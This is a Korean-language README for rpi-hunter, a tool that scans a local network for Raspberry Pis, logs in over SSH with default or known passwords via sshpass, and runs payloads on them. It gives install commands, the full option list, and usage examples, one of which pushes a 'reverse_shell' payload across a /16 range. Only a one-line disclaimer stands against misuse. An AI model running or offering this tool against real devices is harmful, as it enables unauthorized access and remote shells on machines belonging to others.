rpi-hunter

• LAN에 있는 Raspberry Pi를 SSH를 통해 자동으로 발견하고 페이로드를 전달합니다.
• 또는 솔직한 제목: sshpass를 이용한 명령 전달 자동화.

Rpi-hunter는 LAN에 기본 또는 알려진 자격 증명을 가진 여러 Raspberry Pi가 있을 때 명령/페이로드를 자동으로 전송하는 데 유용합니다.

가이드:

설치

1. 종속성 설치: sudo pip install -U argparse termcolor 및 sudo apt -y install arp-scan tshark sshpass
2. rpi-hunter 다운로드: git clone https://github.com/BusesCanFly/rpi-hunter
3. rpi-hunter로 이동: cd ./rpi-hunter
4. rpi-hunter.py 실행 권한 부여: chmod +x rpi-hunter.py

• 한 줄 버전: sudo pip install -U argparse termcolor && sudo apt -y install arp-scan tshark sshpass && git clone https://github.com/BusesCanFly/rpi-hunter && cd ./rpi-hunter && chmod +x rpi-hunter.py

사용법

NullByte 사람들이 만든 멋진 비디오와 함께 제공되는 글을 확인해보세요!

• 참고: 새로운 분들을 위해, 몇 가지 버그를 수정하고 기능을 추가하기 위해 rpi-hunter를 업데이트했습니다 :) ./rpi-hunter.py 명령을 실행하면 로컬 네트워크 전체를 자동으로 스캔하고 발견된 모든 Raspberry Pi에서 whoami 명령을 실행합니다.

usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                     [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                     [--safe] [-q]

optional arguments:
  -h, --help         show this help message and exit
  --list             List available payloads
  --no-scan          Disable ARP scanning
  -r IP_RANGE        IP range to scan
  -f IP_LIST         IP list to use (Default ./scan/RPI_list)
  -u UNAME           Username to use when ssh'ing
  -c CREDS           Password to use when ssh'ing
  --payload PAYLOAD  (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
  -H HOST            (If using reverse_shell payload) Host for reverse shell
  -P PORT            (If using reverse_shell payload) Port for reverse shell
  --safe             Print sshpass command, but don't execute it
  -q                 Don't print banner

• ./rpi-hunter.py --list를 실행하여 사용 가능한 페이로드를 확인하세요.

• 페이로드는 --list의 페이로드 이름 또는 원시 입력으로 지정할 수 있습니다.

  • 예: --payload reverse_shell 또는 --payload [여기에 CLI 명령]

• 사용 예시:

  • ./rpi-hunter.py -r 192.168.0.0/16 --payload reverse_shell -H 127.0.0.1 -P 1337
    • 참고: "reverse_shell" 페이로드만 -H 및 -P 플래그가 필요합니다.
  • ./rpi-hunter.py -c lamepassword --payload "ls -lah \~"
    • 참고: 특수 문자는 \ 로 이스케이프 처리해야 합니다.

면책 조항:

표준 인터넷 재미 면책 조항이 적용됩니다. 범죄를 저지르지 말고 책임감 있게 행동하세요.

저는 여러분이 rpi-hunter로 하는 모든 행위에 대해 어떠한 책임도 지지 않습니다.